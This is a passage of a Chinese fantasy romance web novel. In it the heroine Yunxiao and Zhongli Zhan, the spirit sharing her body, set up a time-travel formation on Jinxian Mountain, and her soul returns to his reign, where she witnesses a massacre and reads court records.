他甚至往后退了半步,眼中意外之后,翻涌的情绪落在云绡的身上,对上她的眼。云绡能感受的便是这一刻钟离湛像是化身成了势在必得的野兽,而她是他利爪之下的兔子。 那股子即将要被人拆吞入腹的紧迫感袭来,云绡咽了下口水。 钟离湛深吸两口气后不断在脑海中重复,她是开窍了,但开得不多,他还能忍,他也能等,不能在这个时候欺负了人。 而且锦仙山中怪处未查明原因,这里毕竟是洛娥的地盘,或许他们的一举一动都被洛娥看在眼里,钟离湛就是想和云绡做些什么,也不会选择在这座山里。 这么一想,理智回归了,怀里的兔子还在等着他能回应呢。 钟离湛俯身,亲了一下她的额头道:“嗯,就这样,不能再亲了。” 云绡摸了摸额头,问:“每日不宜多亲吗?” 她想到了钟离湛吻她唇之后狂跳的心脏,还有她亲钟离湛之后自己心跳也不稳,呼吸急促,头脑还发昏,云绡本能地想着亲多了或许对身体不太好。 钟离湛含糊不清地应了一声,他主要是怕亲来亲去没完没了这事儿最终一发不可收拾。 钟离湛松开了云绡的手腕,只牵着她的手。 云绡伸手抚了一下自己的心口,她的心跳渐渐回归正常了,再看一眼和钟离湛牵在一起的手,心想拥抱的话心跳加速,亲吻的话呼吸困难,有些事还是循序渐进才对。 难怪钟离湛说每日不宜多亲,不然她说不定会短命。 钟离湛自是不知云绡在想什么,见她沉默着似是在纠结着什么,正欲问话,云绡却突然开口:“那此间能否开启九星连月阵?” 钟离湛:“……” 小兔子还真是没心没肺,说抽离就抽离了。 感受一番自己仍然紊乱的心跳,钟离湛暗自长叹,有机会还是要多亲两下的,她脸红耳赤缩在他怀里水汪汪的眼睛只剩下他的时候,更乖。 钟离湛道:“还得再探……锦仙山不大,凭你我的脚力几天也能转完,若这里没有其他术法影响,设阵三日再归来,十五天的时间足够了。” 云绡立刻摩拳擦掌:“这次我来?我上次认真看了,都记得的!” 只是山体不同,设阵的方式或有不同,到时候还需要钟离湛从旁指点。 钟离湛见她这一副好学模样,他又觉得云绡还是在表露出自己聪颖和卓绝记忆力学习能力时,更加闪闪发光,更加吸引人。 “好。”钟离湛顿了顿,又道:“其实若为安全考虑,离开锦仙山再设阵才最好。” 云绡又道:“还是不一样的吧?上次你在若川设阵,我回去之时你恰好在处理尾人族之事……” 云绡的声音越来越小,她方才忘记了她骗钟离湛说她只看见他年幼时仗剑天涯的画面,这回又提起尾人族,云绡的手指忍不住抠了起来。 她最开始还说不骗钟离湛呢…… 钟离湛早就知道云绡在此处隐瞒,或者说,他知道云绡出现在过去的所有时机,他猜到了她的身份。 可他仍然惊讶于她的聪明与机警。 钟离湛是知情者,所以不意外九星连月阵设阵条件,而云绡不一样,她对此毫不知情,却也猜到了九星连月阵遗失的部分,恰好就是设阵关键。 他们身处何方,灵魂随星宿指引回到过去,便会与那地界灵气相连。 若川的灵气源于尾人族,锦仙山的灵气自然归于旖族,若钟离湛将九星连月阵设在京都皇宫,云绡的魂魄有可能回去的便是与人族息息相关的节点。 阵与炁相连,而炁便是这天地间所有玄妙的灵气。 所以钟离湛若想弄清楚他在锦仙山中发生过又遗忘的事,最好就是在锦仙山设阵。 而且他知道小仙女第二次出现的时机,他也有些怕,怕一旦离开锦仙山,小仙女就不会在那时出现,担心任意变故会让他的记忆混乱,让事情变得更扑朔麻烦。 钟离湛见云绡还在抠手指,牵着她的那只手扯了一下,将两只手都牢牢包裹住,这才道:“我不太放心她,我的直觉……我与她之间闹得并不愉快。” 钟离湛伸手指了指锦仙山上最高的那座山。 云绡顺他的手指看过去,发散猜测:“难道是因为实际情况是她深爱你,但你因为她是旖族畏惧她身上的力量,所以拒绝了她?” 钟离湛:“……” 到底是忍不住抬手弹了一下云绡的额头。 从来都不知道疼的云绡,这个时候十分无辜地捂着额头,可怜巴巴地望向钟离湛,呜了声道:“疼的,哥哥。” “哥哥才亲过,怎么又打我?”她摸着的额头,钟离湛印下一吻的温度还在呢。 钟离湛又是哭笑不得,心绪几番翻涌。云绡这是知道他能看穿她说的是真话还是谎言,故而演都不用心演了,套模式地装可怜,小眼神里 哪儿有委屈,全是狡黠。 手指温柔地抚摸过方才自己弹过的地方,一下又一下。 钟离湛忽而发现,他好似被云绡拿捏了? 她好像已经知道要用何种姿态对付他,能让他缴械投降,温柔顺从地待她。 钟离湛手指顿住,云绡笑眯眯的,嘴唇一张一合,无声地又喊他一声哥哥,有些得意。 可爱得钟离湛忍不住啧了一声。 “睡不着呢。”云绡晃着钟离湛的胳膊:“我们踩点去呀,哥哥。” 趁着月黑风高,摸清楚这座锦仙山。 云绡对旖族女子还是狠忌惮的,毕竟她认识的云宓实在算得上她前十几年人生中最大痛苦的来源之一。 这鬼地方,越快离开越好。 第59章 山林入夜万籁俱寂,被精心打理的锦仙山山脉里,处处都是可通人行的石路,每一条路都能连同下一个村落。 离开了水荷安排给她的住处,云绡一路往人多的地方走。 这个时辰里,便是锦仙山里最大的村落也都早已熄灯,一排排造型古老的房屋都是灰暗的,在星河月色下透着一股久无人烟的萧索。 乍一眼看过去,云绡以为这些房子没人住,但仔细去看便能看见这里处处都有使用过的痕迹。只是痕迹很淡,可见每一所大屋子里住下的人可能只有两三个,或许更少。 云绡这一路畅通无阻,将所有看见的都印在脑海里。 钟离湛一路沉默,时不时看向头顶的天空,偶尔几道咒文如光飞去,往云绡走不到的地方查探。 两人走了大半夜,越过了五座山,原本说自己不困的云绡这个时候开始打瞌睡了。 她连续打了两个哈欠之后,钟离湛便道:“回去吧。” “明天再来?”云绡揉了揉眼睛问。 钟离湛摇头道:“不必了,我都探过,这些山里并无精密阵法,唯一有的两个阵还是为了围住山林里养着的牲畜,免得它们到处乱窜而设的。” 云绡闻言,哈欠打了一半道:“这里这么干净啊?” 钟离湛虽疑惑,可他实在想不起什么,事实摆在他眼前的就是,锦仙山里的确很干净。 回去的路上,云绡抬眸朝钟离湛看了好几眼:“你不是说这里可能会有与朱木简相关?这一点你也看不出来吗?” 钟离湛也在思索这个问题:“或许与朱木简相关的,不在山里。” 而是在山外,那冰雪覆盖,他符咒封路的地方。 云绡其实觉得锦仙山里干净才好,这样他们设下九星连月阵之后出现其他变故的可能也会减少。 晃晃悠悠回去的路上,天很快就泛着一层淡淡的蓝,眼看再有两刻太阳就要升起了,云绡也快要走到水荷安排的住处。 便是这时一道悉窣的声音从一旁响起,云绡听见声音立刻停下脚步,就近找了个草丛蹲了下去。 不一会儿云绡看见了个眼熟的身影,意外又不意外。 水荷的脸色有些为难,她藏于一片红枫林中,这个时节的枫林还未完全红透,半绿半红影影绰绰地暴露出两道身影。 水荷的面前站着的是个高大的锦衣男子,那名男子正好就是云绡先前在外来客住处看见的人之一。 锦衣男子有些消瘦,脸色也很苍白,五官倒是端正俊逸,只是眼下泛着淡淡的死灰之色,似是寿命不长的样子。 男子见到水荷时有些高兴,想要靠近的瞬间水荷又往后退了两步,男子脸色微僵,不知想到了什么后才从怀中拿出了一样东西递给水荷道:“这是我在尾人族那边寻来的狼牙,上刻祝文,代表着吉祥和安康。” 水荷半垂着头让人看不清她的表情,她对男子道:“你放在地上就好。” 男子动了动嘴唇,还想说什么,水荷像是立刻反应过来道:“一切都好,勿念。” “好就好。”男子听见这话突然笑了起来,他来时所有的担忧和紧张,无措与彷徨都因为一切都好这四个字而消散了。 云绡离得不算远,水荷背对着她,那男子面朝着她的方向,云绡能将他所有表情全都看在眼里。 方才还一副死气沉沉的人,笑起来的时候竟如春花盛放。 他的眉眼里尽是温情,不知是想到了什么他又急道:“栀子我已经摘了许多,只等晒干了,可以泡茶也能做菜,等下次、下次我能过来了,再带来。” 水荷沉默了会儿,对男子道:“天快亮了,你快走吧。” “好。”男子点了点头,与他精明的相貌十分不符的笨拙,他转身走了两步又回头提醒水荷,指着地上的东西道:“狼牙,别忘了。” 水荷嗯了声,在那男子走了一段路已经看不见人影后才上前捡起地上的狼牙。她看着精雕细琢的狼牙用红线串起,那做工看上去很精细,显然编的人用了十分的耐心,绑绳子的地方编法也很熟悉…… 水荷定定地站了会儿,这才抬手抹去眼角的泪水,小心翼翼地绕起红绳,握着狼牙转身离开。 等到人都走了,这处安静了,云绡才起身。 钟离湛道:“这是她曾说的那个与她有情,可她又不舍对方受到连累而放弃的男人?” 云绡不知在想什么,表情还有些呆,听到钟离湛这话后摇了摇头道:“不是他。” 钟离湛意外地问:“你知道?” 云绡抿嘴,抬头看向钟离湛:“我觉得不是他,他的字字句句都是叮嘱,但说这些话的时候都没看向水荷姐姐一眼,可见他所想叮嘱的另有其人,只是那个人的名字而今已经不好再提起了。” 钟离湛惊讶云绡居然能在感情上这般敏锐,又笑她:“你对别人感情上的事倒是很懂。” 云绡微微抬起下巴:“我对自己的也很懂啊!” 不等钟离湛开口,她一副理所当然道:“你喜欢我,所以你总是在看我,我喜欢你,所以我也总是亲近你,这不是一样的吗?” 钟离湛被她直白又豁达的话说得一时无言,又觉得她说得对,抿了抿嘴,他只能道:“绡绡真聪明。” 如今钟离湛再说她聪明,她都十分坦然且受用。 云绡微翘起的嘴角带着点儿骄傲,甚至朝钟离湛挑眉,小劲儿勾人。 - 云绡没兴趣去调查他人感情之事,一整个白天她都睡在房间里不曾出门。 没人打扰,云绡这一觉睡得安稳,天才刚有些暗下来,仲卿和徐容靳就出现在她的门外。 仲卿手里提着一篮子糕点,徐容靳的头顶和肩膀上各一只小野鸡,两人出现得恰是时机——云绡饿了。 比起吃糕点,她更想吃肉,但有好过无。 仲卿进了云绡的房间,将糕点放下后对徐容靳道:“你不是要找爹娘?现在见到你爹娘了怎么一句话也不说了?” 云绡吃东西,徐容靳就乖乖地坐在一旁,一边抚摸着野鸡也不说话。他撅着嘴不太高兴地瞥了仲卿好几眼,而后再看云绡,那满眼都是对仲卿的控诉。 云绡吃了好几块糕点,没那么饿了才愿意断这兄弟俩的官司。 “你大哥欺负你了?” 云绡问完,仲卿吹胡子瞪眼的,还真把他当这傻大个的大哥了?这不明摆着占他的便宜吗? 云绡一开口问,徐容靳就满是委屈道:“大哥找女人!” 仲卿蹭一下站起来:“你这小儿竟敢信口雌黄辱老夫名声!” 云绡双眼放光在仲卿身上来回打量,笑盈盈道:“仲卿仙师,你找的是苑娘还是琳娘?” 不等仲卿解释,徐容靳便全都抖露出来:“他都找!大哥不止找一个!他找了五个!” 云绡十分夸张地哇了声,意味深长道:“老当益壮。” 仲卿脸都气红了,他指着徐容靳的手都在抖:“你你你、你以后别、别叫我大哥!” 徐容靳哼了声:“大哥就知道找女人玩,都不和我玩,要不是我哭,大哥都不带我来找娘!” 云绡又是一副看好戏的表情看向徐容靳:“你哭啦?” 徐容靳嘴一扁,眼泪突然就扑簌簌地落下来了:“我不喜欢这里,娘,我们走吧,咕咕和啾啾也不喜欢这里,它们说这里太冷了,快要把它们冻死了。” 云绡没想到徐容靳还真哭了,她一时愣住,有些无措地回头朝钟离湛看去,那表情实在有趣,就真像个搞不定自家孩子于是寻求孩子爹帮忙的新手娘亲。 钟离湛双眸一冷:“不许哭!” 徐容靳嘴一抿,不 敢哭了。 云绡见他不哭了才道:“这里四季如春,哪儿会把它们俩冻死?” 徐容靳摸着野鸡道:“会的,咕咕和啾啾还说晚上能听见哭声,山里的小动物都很吓人。” 云绡脸色一变,朝仲卿看去。 仲卿脸色还没缓过来,粗气直喘道:“那是他半夜做噩梦,我与他一个屋子,并未听见哭声。还有那两只野鸡从头到尾都没离开过他,怎么会和山里其他小动物接触?另外!” 仲卿拍着桌子道:“我只是找山里的婶子们问锦仙山上的事迹,并非找女人!” “婶子也是女人……”徐容靳嘀咕。 仲卿抬起手就要抽他,一看徐容靳还挂着鼻涕泡,心想他堂堂湖族长老,作甚要与傻子计较,便深吸一口气作罢了。 云绡本来也只是跟着调侃仲卿两句,可没打算把小老头给气死,便干脆转了话题问:“你说你找五个婶子打听山中消息,可探得什么有用的来?” 仲卿道:“你看这山中空房子较多,那是因为山里的旖族女子很少能守得住寂寞不愿离开这里的。洛娥给了她们一片可以无忧无虑生老病死之地,也看她们自己是否愿意永远留在此处,为了不让这里被外界干扰,洛娥定下了规矩才让她们离开了之后就不许再回来……旖族女子特殊,可仍是凡人一个,动心者抱着孤注一掷的念头也要离开锦仙山,这里的人也就越来越少了。” 云绡点头,猜到了,她想也许云宓的娘也是从这里走出去的。 仲卿又道:“这里的确是最适合旖族女子生活的地方,她们有的村落专门织衣绣花,有的村落专门做吃食酿酒,有的村落做木工瓦匠,这里已然形成了一个与外界完全隔绝的小世界,即便没有男人,她们也能生活得很好。” 云绡问:“你都看见了?” 仲卿点头:“都看见了,此处无禁地,我看见了那些勤劳的妇人们,她们在山坳处有田有池,与其说这里是杀神的后宫花园,倒不如说是独属于旖族女子的世外桃源……洛娥待她们不薄,神女还是怜悯她的子民的。” 云绡哦了声,沉默了片刻后道:“喂,我打算设九星连月阵,你要不要帮我守阵?” 仲卿方还感叹于这座山的奇妙和美好之处,乍一听云绡说的话双眼立刻亮了起来,背也挺直了:“要要要!” 徐容靳听不懂她们在说什么,但…… “大哥要,我也要!” 爹娘可不能厚此薄彼。 云绡拍了拍徐容靳的脑袋道:“乖,你还有别的事要干,重中之重,娘只能交给你。” - 云绡要徐容靳干的重中之重的事,就是让他的两只小野鸡和山里的禽畜们打听消息,她倒不完全觉得徐容靳说半夜听到哭声真是做噩梦。 越是干净的地方,越透露着古怪,云绡只想赶紧设下九星连月阵,再尽快离开这里。 仲卿虽与钟离湛比不了半分,可他到底是此间通符咒阵法的佼佼者,有他护着阵,加上钟离湛的魂魄留在云绡身体里,启阵到归月三日时间,云绡会更加安全。 锦仙山与若川不同,九星连月阵的阵脚也有变化,钟离湛选定了无人的那座山头为大阵中心,以阵中为点,向四面而展。 云绡一边设阵一边学,仲卿一边学一边记。 越记他看云绡的眼神越不对劲。 他知道云绡身边那个男子厉害,很厉害,云绡也厉害,但没想过居然会这么厉害! 两座山过后,仲卿已经把前头记下的都忘了,纸笔跟不上阵法和符咒书写,云绡却游刃有余,连连点头,无需重复。 第六座山之后,仲卿默默收起纸笔,一把年纪想明白了一件事。 人和人之间还是有很大差距的,他得面对现实。 欲速则不达,他先弄明白神行符也行。 第60章 锦仙山与若川不同,云绡跟着钟离湛设九星连月阵变得更加简单。 又因为锦仙山上的星辰本就排布巧妙,钟离湛的移星阵甚至都不用另设,只需在九星连月阵中另添两笔咒印,咒印印于山顶无遮拦的石头上,深刻其中。 钟离湛还记得他和云绡入山之前见到的洛娥意念,所以设阵过程中包括刻下咒印,都是他手把手教给云绡,而非自己动作的。 待到阵成,只待入夜启阵。 仲卿从头跟到尾,一把年纪的确疲惫,可他还是因为此阵精妙硬生生地扛下来了。更在设阵之后连连鼓掌赞叹,一脸得意地看向云绡,嘴里喃喃不愧是他湖族秘术中的秘术。 云绡被他这得瑟的样子逗得好笑,仲卿随即收起笑容,忽而正了正衣衫,郑重地朝云绡拱手,微微弯腰。 云绡愣住,眨了眨眼问:“你这是做什么?总不至于是真要认我作……” “娘”字还没说出口,仲卿便无奈地打断了她的话:“十一殿下嘴下饶人……” 云绡撇嘴,她是想说两句话打破仲卿这突如其来的严肃气氛的。在认识仲卿之前,于旁人口中听说过的他都是严肃,平日里不苟言笑,在见到仲卿之后,云绡也觉得他道骨仙风,一股清冷凉薄的气势。 但真正了解仲卿,他其实挺柔软的,并不像他五官消瘦的棱角给人带来的那股疏离和冷硬。 大约是身居京都仙师之首的高位,他不得不敛藏本性谨慎行事。 可从他能在云宓拉云绡下水后替云绡仗义执言,从他能毫无知觉地走下旁人为他设下的死局就能看出,他没有多少心眼。 平日里挺欢乐挺豁达的小老头突然朝她鞠了一躬,云绡难免紧张,忍不住就去抓钟离湛的手。 仲卿诚恳道:“若不是遇见十一殿下,老夫此生都不能见到九星连月阵,也不能参透其中奥秘。” 即便他现在也还是不懂……可仲卿若非湖族天才,又怎能坐到如今高位?他当然也知晓这阵能成,云绡的身边人占据主位,可若非云绡,他也不会有此机缘。 要知人外有人,天外有天。 仲卿忽而觉得,他被人诬陷弑帝也未尝不是一件好事,不走出四四方方的皇城京都,哪得见这世间奇妙奥义。人活百年,仲卿已走了大半,站过高峰,却未行过万里路,未得见万般人,他的人生,白活之年也很多。 “仲卿,多谢十一殿下不藏私不设防,也倾佩十一殿下的身边人架海擎天。” 仲卿说罢,再抬头,面对的还是云绡那张有些错愕,呆愣愣的颇为可爱的脸。 她还在局促着,因为从来没有人对她说过这般正式的话,更何况对方年长她数倍,她不知要如何应答。 仲卿也知道自己说多了像是为难云绡,正欲再鞠一躬便作罢时,忽而察觉到一道气劲轻轻抬了一下他伸长的手腕,转瞬即逝。 仲卿明白了,不再拘谨,又笑道:“十一殿下大可放心,老夫守阵,生人无入。” 之前在若川设阵,钟离湛的九星连月阵之所以暴露得那么夸张,整个若川都能看见阵脚之光,也是因为若川中白骨累累,钟离湛更想让尾人族看见白骨,看见隐藏在他们身边的危机。 而今锦仙山中干净得很,在旁人的地盘设阵,自然是越隐蔽越好,故而九星连月阵启动之时,锦仙山里的夜仍然万籁俱寂。 徐容靳蹲在石阶上一边摸着咕咕,一边听着啾啾对他说的话,两只小野鸡叫个不停, 徐容靳越听眉头皱得越紧。 忽而一束浅光从不远处的山顶一闪即逝,徐容靳看见时微微愣住。 他的头脑空白了一瞬,嘴里喃喃念出了几个名字,又道:“大哥告诉你,这些或许是你今后的保命符,你要一个不漏地记下来。” 说完这话,徐容靳摸着咕咕头顶的手又顿了一下,垂眸看去,自己方才说了什么又变得模糊了。他只知道这是大哥对他说的很重要的话,所以他抱起两只野鸡就去找仲卿。 娘交给他的重要任务他也听明白了,得告诉娘,这个山里真的有鬼,一到晚上,鬼就会哭呢,吓得那些禽畜们都不敢睡觉。 徐容靳还没跑出几步路,在山间小路的转角突然就撞上了一个人。 准确来说,是那个人撞上了他。 徐容靳很高,对方又很矮,徐容靳一心只想找娘和找大哥,视野没往下看,自然没看见在他胸膛之下高度的小姑娘。 陆梨一身青灰色的裙子,在夜里山间的小路行走,很容易就能隐藏身形,也不怪徐容靳没看见她,她如此打扮就是要避着人的。 结果撞上徐容靳,一下子被撞飞了挺远,陆梨再站起来的时候脚腕又开始痛了。 “妹妹!”徐容靳惊讶地过去扶起陆梨。 自陆梨入了锦仙山后因需养伤被人带走,他就再也没见到陆梨了。大哥说陆梨来了锦仙山日后就不会和他们一起走了,从此这里是陆梨的家。 徐容靳便以为,那个满身是伤可怜的妹妹回到家了,她安全了,便没想着再去打扰。 几天过去,陆梨身上的伤好了许多,可见锦仙山里的人的确很照顾她。 陆梨被徐容靳扶起来后也没管身上疼不疼,张口便是:“徐大哥,你们还有几天离开鬼女山?我和你们一起走行不行?” 徐容靳不明所以:“大哥说你到家了。” 陆梨抿唇,她抬头仔细看了一眼徐容靳,这张可怕的脸上有着比她更加稚嫩的单纯。有些话她不打算和徐容靳说,也没打算告诉仲卿,她更想接触的是云绡。 在陆梨的眼中,云绡虽然看上去挺冷的,不爱搭理人,却很有主意。 “我、我不想留在这里。”陆梨道:“你能带我去见云绡姐姐吗?我有话要和她说。你放心,我不会赖着你们,出了鬼女山,只要那些野兽不跟着我,我就随便找个地方隐姓埋名地生活。” 徐容靳问她:“为什么?这里不好吗?” 陆梨难以启齿,徐容靳又恍然大悟:“哦!我知道了,你是不是看见鬼了?咕咕说,这里有很多鬼,一到晚上就哭,啾啾也说,那些鬼一哭,山里就变得特别冷。” 陆梨震惊地看向徐容靳怀中的两只小鸡,这不就是……两只普通的小野鸡吗?怎么能说人话? 不、不对,这两只小野鸡现在也还在咕咕啾啾地瞎叫唤呢,不是它们能说人话,而是徐容靳能听懂兽语。 陆梨想起徐容靳逼走她娘杀她放出来的野兽,她突然明白过来……徐容靳是尾人。 他是一个,没有尾巴的尾人。 不不不,这些都不是最重要的,陆梨一把抓住了徐容靳的手道:“徐大哥,山里真的有鬼!我也听到了鬼哭声,我带你去找鬼,然后我们一起把这件事告诉给云绡姐姐听,好不好?” 若云绡知晓她有苦衷,应当就愿意带她离开了吧? - 此时被陆梨念道的云绡,已经站在九星连月阵的中央。 “会害怕吗?” 钟离湛与她面对面,手指轻轻抚摸了一下她的脸颊,锦仙山顶上的风没有若川的冷,可钟离湛的心跳却比当时站在若川见大阵开启时跳得要更快。 怎么会不害怕呢? 云绡当时以为是钟离湛的魂魄离开,故而自己回到了过去时毫无准备,等她反应过来后一切已成定局她也还枯坐了一夜才慢慢接受呢。 眼下已然知道是自己要走,钟离湛会留在她的身体里,云绡的呼吸一直都是乱的。 “别害怕,就像上次一样。”钟离湛的手抚着云绡的后背,掌心的纹路贴着微微颤抖的脊背,云绡能感受他魂魄温度带来了些许安心。 钟离湛不断地安抚着她:“我会在这里等着你,绡绡,哪怕你回来时有误差,我也能最快找到你。” 云绡唔了声,深吸一口气道:“我准备好了!你启阵吧。” 其实钟离湛已经启阵了,他能感受到一股力量在拉扯着他,让他被迫留在原地。 他说那些话,对云绡又是摸脸又是摸背的,也不全然是占她便宜。至少交谈时她能放松些,魂魄随星辰回到过去时,才不会显得过程漫长。 启阵后的光很快就消失了,就像是夜幕里忽而闪烁的彩霞,夜云尚未染上霞光的颜色,那道光芒便消失无踪。 星辰璀璨,圆月当空。 仲卿见云绡还站在那儿没动,便问了句:“他走了吗?” 他以为在九星连月阵中回到过去的是钟离湛。 也是这次跟在云绡身后设阵仲卿才知道,人的身躯是凡物,死后归尘土,是不能随时光穿梭的。而灵魂为天地间一灵炁,不受控制,才能被置于任意时空中。 “嗯。” 明明是云绡的声音,可仲卿觉得回答他话的并不是云绡。 少女还站在那里,小小身躯里迸发的气场却让人不敢多看几眼,仲卿倒吸一口气,试探地开口:“十一殿下?” 这一次背对着他的少女并未出声。 - 便是云绡已有准备,也被睁开眼时看见的画面惊吓得一时忘了反应。 刺眼的光芒消散后,更加夺目的阳光便迎面朝她照射过来。 云绡有一瞬的头晕,过了好片刻之后她才放下遮挡阳光的手,紧接着便看见了一堆堆尸体。 云绡离尸体并不近,可眼前的画面仍然震撼得她脊背发凉,此刻她就站在一小片山坡之上,山坡之下的山坳处,成堆的尸体上爬满了蛆虫。 盛夏的阳光晒得人一阵阵发汗,周围此起彼伏的呕吐声响起,云绡的嗅觉是最后才到的,一股恶臭袭来,她不禁往后退了半步。 腐烂的身躯,交叠的尸身,被压在最下面的人早就化成了血水,漆黑腥臭,在阳光下晒出了沼气。 远处的哭声尤为刺耳,云绡捂住口鼻,转身不再去看。 她身后站着的还是那两个眼熟之人,侍卫洛锦,和在解放尾人之举上有了功劳,官升三阶的何舜。 云绡没有钟离湛的记忆,也不知当下究竟身处何处,发生了何事,她正疑惑着,忽而就听到了一道熟悉的声音。 【是你。】 对方不是疑问,而是肯定。 云绡呼吸一窒,没想到自己才刚来就被钟离湛发现了,她沉默了好一会儿才试探着钟离湛是否还在,于心中轻声应道:“是我。” 紧接着,云绡听到了一声气音的笑。 【你是来看孤之无能,嘲笑孤无法遏制那些人的蓬勃野心吗?】 云绡连忙摇头,在见到洛锦和何舜都朝她看过来时,云绡才挺直了腰背,对那两人吩咐一句:“回去。” 这地方太臭了,云绡光是站在这里能不吐,都得多亏了钟离湛这具身体有着过强的忍耐力。 【告诉孤,你的名字。】 云绡大步离开 ,听见这话时没想到钟离湛的意识居然还□□着!要知道上次他出现的时间短暂,时机也不受他的控制呢。 “我……” 【还是说,孤真如世人所言,你是孤疯了之后的幻象?】魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 60-70 第61章 照国立国第三年,曦帝人皇钟离湛不忍尾人受辱,斩断兽尾,革其奴身,解放曦族族内尾人六万。自此尾人不为氏族奴,另封五山四十七峰允尾人饲兽,可以兽易物,行商立足。 帝令执使以曦族为例,命照国境内再无奴籍,氏族无可乱令他人生死,功罪与否效国法为准,死罪者杀,行功者赏。 照国立国第五年,国法修九次,添一百七十三案例,法度普照之地,氏族无敢生事,百姓居地而种,虽有贫富之差,却无贵贱之别。 云绡上一次借用九星连月来到钟离湛的身体里时间很短暂,她只在后来的历史上看过世人是如何评价钟离湛的,却是第一次在钟离湛还为曦帝的当下,看见已有的照国史书上,一行行一录录写下关于钟离湛的丰功伟绩。 上一次,云绡用钟离湛的身份下令,斩断尾人族的尾巴或许有受后来她看见的历史影响,但她知道即便她没有这个依据,仍然会做出类似的选择。 她一直以为,是她的决定害得钟离湛被尾人族憎恨,才有了后来那些描述他惨无人道的控诉。 可原来不是这样的。 云绡翻着眼前的书籍,她的指尖触碰着上面古老的文字,墨迹很新,但没有一笔描错,云绡读起来并不费力。 这史书上对钟离湛的赞歌远比微不足道的抱怨多上成百上千倍。 尾人族感激他的杀伐果决,若非他在曦族氏族那里起了个头,后来的尾人也狠不下心去断尾。更何况曦帝并非没有给他们退路,那五山四十七峰是照国境内山明水秀的好地方,适合养伤,也适合隐世独居,豢养兽宠。 钟离湛不擅经商,只给他们指了一条路,那些尾人便用自己的天赋使唤兽群在山坳处开荒耕地,又驯以马群、牛群、羊群等与他族交易,换取粮钱与对等的尊严。 断尾,是云绡未顾及首尾的命令,却也开辟了钟离湛执行后来决定的一条路。 尾人没有憎恨他,尾人十分感激他,所以尾人族在山中驯出来的第一批马赠予了照国,除此之外他们还单独赠予了钟离湛果苗。 那是他们在山中无意间发现的果树,精细养着,收了种子,培育成苗。 人只有在吃饱的时候才会去种果,这是一个好的象征。 那批果苗种出来的果子于成熟季节放在了钟离湛的桌案上,表皮并不光滑,青涩的颜色看上去像是杏子又或李子,光是看着就很酸。 但钟离湛还是在吃下果子后给尾人族那边回了信,他不会骗人,说不出甜字,但又因本性温柔,提了句“生津止渴”。 钟离湛的眼里五族并无区分,自他坐上了曦帝的位置起,要的便是五族平等,人人平等,要天下大公。 尾人单纯,他的一句“生津止渴”,他们就能给这果子起名叫“生津果”。大面积种植后发现世上爱吃酸的人还是很少,于是族内消化,后来还酿了果酒,那果酒也送给了钟离湛几坛子。 钟离湛在收到那几坛酒时,包裹内还附了一封信。 信上寥寥几笔,知他近来繁忙不敢打搅,又提族中青年走失,他们与当地官府联系,数月未见回音。他们不敢让钟离湛亲自调查,只希望他能提一句。 管辖尾人地界的皆为旖族,当初解放旖族氏族内的尾人时,两族之间便有些仇怨。 这些琐事后来钟离湛都交给何舜去办,何舜自执行斩尾之后,面对那些胡搅蛮缠的氏族也不再优柔寡断。 人过硬便生仇,何舜走后,尾人受难。 钟离湛还是亲自去了一趟旖族境内,让他焦头烂额之事,其实也与旖族有关。 几番调查,结果便是云绡看见的那样。 满山坳的尸体,走失的尾人青年便在其中,那些腐化的人未必全都是尾人,也早就面目全非难以分辨了。 云绡离开了那座山后仍然觉得自己能闻见山中的恶臭,在旖族境内钟离湛临时的行宫处,她看见了满桌案凌乱的记载。 钟离湛之前调查旖族,也是因为多例人命官司告到他的跟前。凡是与旖族女子相爱的男子最终都走上惨死之路,偏偏旖族女子招人喜欢,偏偏那些男子心甘情愿,又偏偏男子死后,家属百般跪求。 便是他朝中官员,也有数人折在了旖族女子手中。他们的府内一旦有旖族女子出现,其办事多做多错,后身骨渐消,病体沉疴,最终落了个死局。 钟离湛召见了那些旖族女子,十人有九别有用心。 从钟离湛斩断尾人的尾巴,不顾氏族脸,逐一削减氏族的势力开始,他们便起了反抗心。 这些女子,何尝不是那些氏族给他的威胁和难题。 她们哭哭啼啼,问钟离湛:“真爱难道有错吗?命中带咒也非我所愿!我的爱郎死去,我难道就不痛心?曦帝又怎能辱我真心,非要说我虚情假意?” 那些男人是心甘情愿去死的,即便是这些曦族女子处心积虑的接触在先。 钟离湛不看她们说了什么,全看她们做了什么,况且在他的面前,他的眼里,还无人能用谎言瞒骗。 那些妄图渗透他架起的朝廷官员,肆意渲染他冷血无情的阴谋诡计,全都被他提到百姓面前,一一斩杀。 市井流言四起,其背后是无数双手的推波助澜,他们说他残暴不仁。 真心相爱之人,就因活下来的是旖族女子,便也该为所爱殉情吗? 她们口中的爱几分真假,难道全凭曦帝一句话就能定罪? 更有数百曦族女子跪在王宫之外,一声声质问钟离湛,难道她们生下来命里带咒是她们所愿?难道她们就不配爱人,不配为人所爱?若真如此,何必等她们身边有人死去,既然她们生来有罪,不如请曦帝执剑,屠尽曦族。 罪名之大,钟离湛数日未眠。 这个时候尾人族的来信,既是及时雨,也是梁上刀。 而这一次调查,结果也摆在了他的眼前。 在曦族境内,数百名曦族女子引诱各族,杀之炼蛊,若非她们命里之咒,她们又如何能轻易得逞? 钟离湛紧绷的神经在这一刻似乎被什么东西阻塞了一样,他的头脑浑浑噩噩,似乎要往后仰倒,而他精神一凛,熟悉之感袭来。 身躯再度不受控,钟离湛仍有意识,可他的视线变得模糊,所听也似隔着一堵墙。 钟离湛不通情爱,不懂一个人能为所爱抛弃一切,即便能抛弃生命,也不该抛弃理想。 他自嘲的那句,世人说他疯了,云绡是他疯了之后的臆想,云绡也在桌案的案卷上找到了答案。 一名钟离湛的亲信,是与何舜同期的傲骨文官,也是钟离湛的左膀右臂,却在爱上一名旖族女子后,意志消沉,抛弃妻女。 钟离湛不愿见他众叛亲离,杀了那名别有用心的旖族女子,而后奉于他桌案上的奏章,字字控诉,满目怨怼。 还如往日一样傲骨的文官,笔墨成刀,刺向了信任他的君王。 他责怪钟离湛杀他所爱,骂钟离湛疯病缠身,说他满宫符文咒印皆是成神妄想。 那卷案宗连同奏折,看得云绡气息不稳,胸腔发疼,气得她提起身边的杯盏往外用力一掷,力气之大,瓷杯碎裂得不成形状。 那一扔,刚走到门前的洛锦和何舜脚步一顿,彼此看了一眼。 近来君上越发沉默,数日未眠导致精神疲倦阴沉他们都看在眼里,他们也都知道君上难处。 即便他威名远扬,挂五帝头颅威慑天下仍然历历在目,可也挡不住有心之人的阴谋算计,氏族 险恶,明局挑衅。 谁都能看出来,那些旖族女子心术不正,可她们又站在道德高峰,钟离湛能杀一杀百,却不能真的屠尽旖族。 